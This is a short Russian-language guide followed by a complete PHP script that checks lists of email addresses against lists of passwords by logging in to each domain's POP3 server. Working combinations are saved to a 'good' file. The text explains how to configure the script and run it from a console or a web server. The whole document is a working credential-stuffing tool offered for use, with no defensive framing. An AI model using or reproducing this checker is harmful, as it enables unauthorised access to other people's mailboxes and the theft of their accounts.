1. Для начала открываем текстовым редактором и правим настройки
################# SET #####
$mails = \'mails.txt\'; //файл с мылами
$passwd = \'password.txt\'; // файл с паролями
$file = \'good.txt\'; //куда сохранять гуды
###########################
2. Затем все это дело надо запустить, возможны 2 варианта запуска, из консоли и из под веб сервера.
Запуск windows
php.exe check.php
Запуск linex
php check.php
3. Для запуска из под веб сервера, помещаете файл check.php в корень сайта и переходите в браузере по ссылке http://localhost.ru/check.php. Вместо localhost можно указать удаленный сервер.
<?PHP
@set_time_limit(0);
@ignore_user_abort(1);
################# SET #####
$mails = 'mails.txt'; //файл с мылами
$passwd = 'password.txt'; // файл с паролями
$file = 'good.txt'; //куда сохранять гуды
###########################
function check ($login, $password, $domain)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'pop3://pop.'.$domain.'/'); // set url to post to
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);
$data=$login.":".$password;
curl_setopt($ch, CURLOPT_USERPWD, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
if(!$result) return false; else return true;
}
function add_to_file($string)
{
global $file;
$res=fopen($file,'a');
$try=fwrite($res,$string."\n");
if (!$try) {echo 'Ошибка! Не могу записать в файл: '.$file."\n";}
}
$m_arr=file($mails);
$p_arr=file($passwd);
if (!count($m_arr)) exit("Неверно указан файл с мылами\n");
if (!count($p_arr)) exit("Неверно указан файл с паролями\n");
foreach($m_arr as $mail)
{
foreach($p_arr as $password)
{
$match = explode("@", $mail);
$login = $match[0];
$domain = $match[1];
$domain = preg_replace('/\s+/is', '', $domain);
$password = preg_replace('/\s+/is', '', $password);
echo $login."@".$domain.":".$password." - ";
if (check($login, $password, $domain))
{
add_to_file($login."@".$domain.":".$password);
echo "GOOD\n";
}
else
echo "BAD\n";
}
}
?>